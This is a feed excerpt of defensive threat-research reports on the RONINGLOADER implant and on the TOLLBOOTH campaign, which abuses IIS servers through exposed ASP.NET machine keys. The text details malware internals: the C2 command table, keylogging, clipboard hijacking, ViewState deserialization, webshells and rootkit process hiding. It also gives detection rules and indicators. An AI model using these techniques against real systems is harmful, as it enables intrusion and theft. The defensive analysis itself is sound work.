    uint8_t telegram_running;        // 1 if Telegram.exe running
    
    // +0x307
    // (padding to 0x308 bytes)
};
</code></pre>
<h4>C2 commands</h4>
<p>Request messages sent from the C2 server to the implant follow the structure:</p>
<pre><code class="language-c">struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};
</code></pre>
<p>The implant decrypts C2 messages through the following formula:</p>
<p><code>RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)</code></p>
<p>Below is a list of available commands that, for the most part, remain the same as 2 years ago:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>0</code></td>
<td align="left"><code>ExitWindowsEx</code> via a supplied <code>EXIT_WINDOWS_FLAGS</code></td>
</tr>
<tr>
<td align="left"><code>1</code></td>
<td align="left">Terminate implant gracefully</td>
</tr>
<tr>
<td align="left"><code>2</code></td>
<td align="left">Set registry key <code>Enable</code> to False to terminate &amp; disable implant persistently</td>
</tr>
<tr>
<td align="left"><code>3</code></td>
<td align="left">Set registry key <code>Remark</code> for custom victim renaming (default value: hostname)</td>
</tr>
<tr>
<td align="left"><code>4</code></td>
<td align="left">Set registry key <code>ZU</code> for MetaMask / crypto-related tagging</td>
</tr>
<tr>
<td align="left"><code>5</code></td>
<td align="left">Clear Windows Event logs (Application, Security, System)</td>
</tr>
<tr>
<td align="left"><code>6</code></td>
<td align="left">Set additional custom tags when client beacons</td>
</tr>
<tr>
<td align="left"><code>7</code></td>
<td align="left">Download and execute file via supplied URL</td>
</tr>
<tr>
<td align="left"><code>9</code></td>
<td align="left"><code>ShellExecute</code> (visible window)</td>
</tr>
<tr>
<td align="left"><code>10</code></td>
<td align="left"><code>ShellExecute</code> (hidden window)</td>
</tr>
<tr>
<td align="left"><code>112</code></td>
<td align="left">Get clipboard data</td>
</tr>
<tr>
<td align="left"><code>113</code></td>
<td align="left">Set clipboard data</td>
</tr>
<tr>
<td align="left"><code>125</code></td>
<td align="left"><code>ShellExecute</code> <code>cmd.exe</code> with command parameters (hidden window)</td>
</tr>
<tr>
<td align="left"><code>126</code></td>
<td align="left">Execute payload by dropping to disk or reflectively load and execute <code>PluginMe</code> export</td>
</tr>
<tr>
<td align="left"><code>128</code></td>
<td align="left">First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key <code>CopyC</code> to update C2 domain and port permanently. Stored encrypted via <code>Base64Encode(XOR(C2_domain_and_port, 0x5))</code>.</td>
</tr>
<tr>
<td align="left"><code>241</code></td>
<td align="left">Check if Telegram is installed and/or running</td>
</tr>
<tr>
<td align="left"><code>243</code></td>
<td align="left">Configure Clipboard Hijacker</td>
</tr>
<tr>
<td align="left"><code>101</code>, <code>127</code>, <code>236</code>, <code>[...]</code></td>
<td align="left">Custom shellcode injection into <code>svchost.exe</code> using WTS session token impersonation, falling back to <code>CREATE_SUSPENDED</code> process injection via <code>CreateRemoteThread</code></td>
</tr>
</tbody>
</table>
<blockquote>
<p>Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.</p>
</blockquote>
<h4>System Logger</h4>
<p>In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to <code>%ProgramData%\microsoft.dotnet.common.log</code> and can be enabled or disabled via a registry key at <code>HKEY_CURRENT_USER\offlinekey\open</code> (<code>1</code> to enable, <code>0</code> to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.</p>
<p>The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image3.png" alt="Log rotation and keylogger initialization" title="Log rotation and keylogger initialization" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image38.png" alt="Keyboard event retrieval" title="Keyboard event retrieval" /></p>
<p>The malware then enters a monitoring loop to capture three categories of information.</p>
<ul>
<li>First, it monitors the clipboard using <code>OpenClipboard</code> and <code>GetClipboardData</code>, logging any changes to text content with the prefix <code>[剪切板:]</code>.</li>
<li>Second, it tracks window focus changes via <code>GetForegroundWindow</code>, logging the active window title and timestamp with the prefixes <code>[标题:]</code> and <code>[时间:]</code>, respectively, whenever the user switches applications.</li>
<li>Third, it retrieves buffered keyboard events from the <code>DirectInput8</code> device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix <code>[内容:]</code>.</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image36.png" alt="Example captured content in microsoft.dotnet.common.log" title="Example captured content in microsoft.dotnet.common.log" /></p>
<h4>Clipboard Hijacker</h4>
<p>The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under <code>HKEY_CURRENT_USER\offlinekey</code> with keys <code>clipboard</code> (enable/disable feature), <code>charac</code> (search string), <code>characLen</code> (search length), and <code>newcharac</code> (replacement string).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image16.png" alt="Clipboard hijacker setup through C2 command" title="Clipboard hijacker setup through C2 command" /></p>
<p>It registers a window class named <code>ClipboardListener_Class_Toggle</code> and creates a hidden window titled <code>ClipboardMonitor</code> to receive clipboard change notifications. The window procedure handles <code>WM_CLIPBOARDUPDATE</code> (<code>0x31D</code>) messages by verifying clipboard sequence numbers with <code>GetClipboardSequenceNumber</code> to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via <code>EmptyClipboard</code> and <code>SetClipboardData</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/roningloader/image30.png" alt="ClipboardMonitor setup, responsible for the actual clipboard swap" title="ClipboardMonitor setup, responsible for the actual clipboard swap" /></p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1569/002/">System Services: Service Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/004/">Impair Defenses: Disable or Modify System Firewall</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/001/">Indicator Removal: Clear Windows Event Logs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553/006/">Subvert Trust Controls: Code Signing Policy Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System Owner/User Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/001/">Software Discovery: Security Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1095/">Non-Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_suspended_process_code_injection.toml">Potential Suspended Process Code Injection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_memory_write_to_trusted_target_process.toml">Remote Memory Write to Trusted Target Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_remote_process_memory_write_by_low_reputation_module.toml">Remote Process Memory Write by Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_process_memory_write_to_a_non_child_process.toml">Process Memory Write to a Non Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_uac_bypass_attempt_via_wow64_logger_dll_side_loading.toml">UAC Bypass Attempt via WOW64 Logger DLL Side-Loading</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_network_connect_api_from_unbacked_memory.toml">Network Connect API from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml">Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RoningLoader.yar">Windows.Trojan.RoningLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DragonBreath.yar">Windows.Trojan.DragonBreath</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>klklznuah.msi</code></td>
<td align="left">Initial MSI installer</td>
</tr>
<tr>
<td align="left"><code>82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.exe</code></td>
<td align="left">Malicious installer unpacked from initial installer</td>
</tr>
<tr>
<td align="left"><code>c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Snieoatwtregoable.dll</code></td>
<td align="left">Stage 1 - loader for stage 2</td>
</tr>
<tr>
<td align="left"><code>2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ollama.sys</code></td>
<td align="left">Stage 2 - driver for process termination</td>
</tr>
<tr>
<td align="left"><code>1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>tp.png</code></td>
<td align="left">Stage 2 - encrypted core payload</td>
</tr>
<tr>
<td align="left"><code>395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.bat</code></td>
<td align="left">Stage 2 - UAC bypass script</td>
</tr>
<tr>
<td align="left"><code>1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>fhq.bat</code></td>
<td align="left">Stage 2 - script to block networking for AV processes</td>
</tr>
<tr>
<td align="left"><code>4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>1.dll</code></td>
<td align="left">Stage 2 - AV processes termination</td>
</tr>
<tr>
<td align="left"><code>96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>{31351756-3F24-4963-8380-4E7602335AAE}.cip</code></td>
<td align="left">Stage 2 - WDAC policy</td>
</tr>
<tr>
<td align="left"><code>33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>goldendays.dll</code></td>
<td align="left">Stage 3 - entry point</td>
</tr>
<tr>
<td align="left"><code>fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>trustinstaller.bin</code></td>
<td align="left">Stage 3 - loader for <code>Enpug.bin</code></td>
</tr>
<tr>
<td align="left"><code>fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>Enpug.bin</code></td>
<td align="left">Stage 3 - loader for final payload</td>
</tr>
<tr>
<td align="left"><code>3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6uf9i.exe</code></td>
<td align="left">Stage 4 - final payload</td>
</tr>
<tr>
<td align="left"><code>qaqkongtiao[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Stage 4 - final payload C2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://nsis.sourceforge.io/Main_Page">https://nsis.sourceforge.io/Main_Page</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service</a></li>
<li><a href="https://github.com/Jemmy1228/HookSigntool">https://github.com/Jemmy1228/HookSigntool</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">https://hijacklibs.net/entries/microsoft/built-in/wow64log.html</a></li>
<li><a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function</a></li>
<li><a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html</a></li>
<li><a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43</a></li>
<li><a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/</a></li>
<li><a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/</a></li>
<li><a href="https://github.com/sin5678/gh0st">https://github.com/sin5678/gh0st</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/roningloader/roningloader.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/de/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
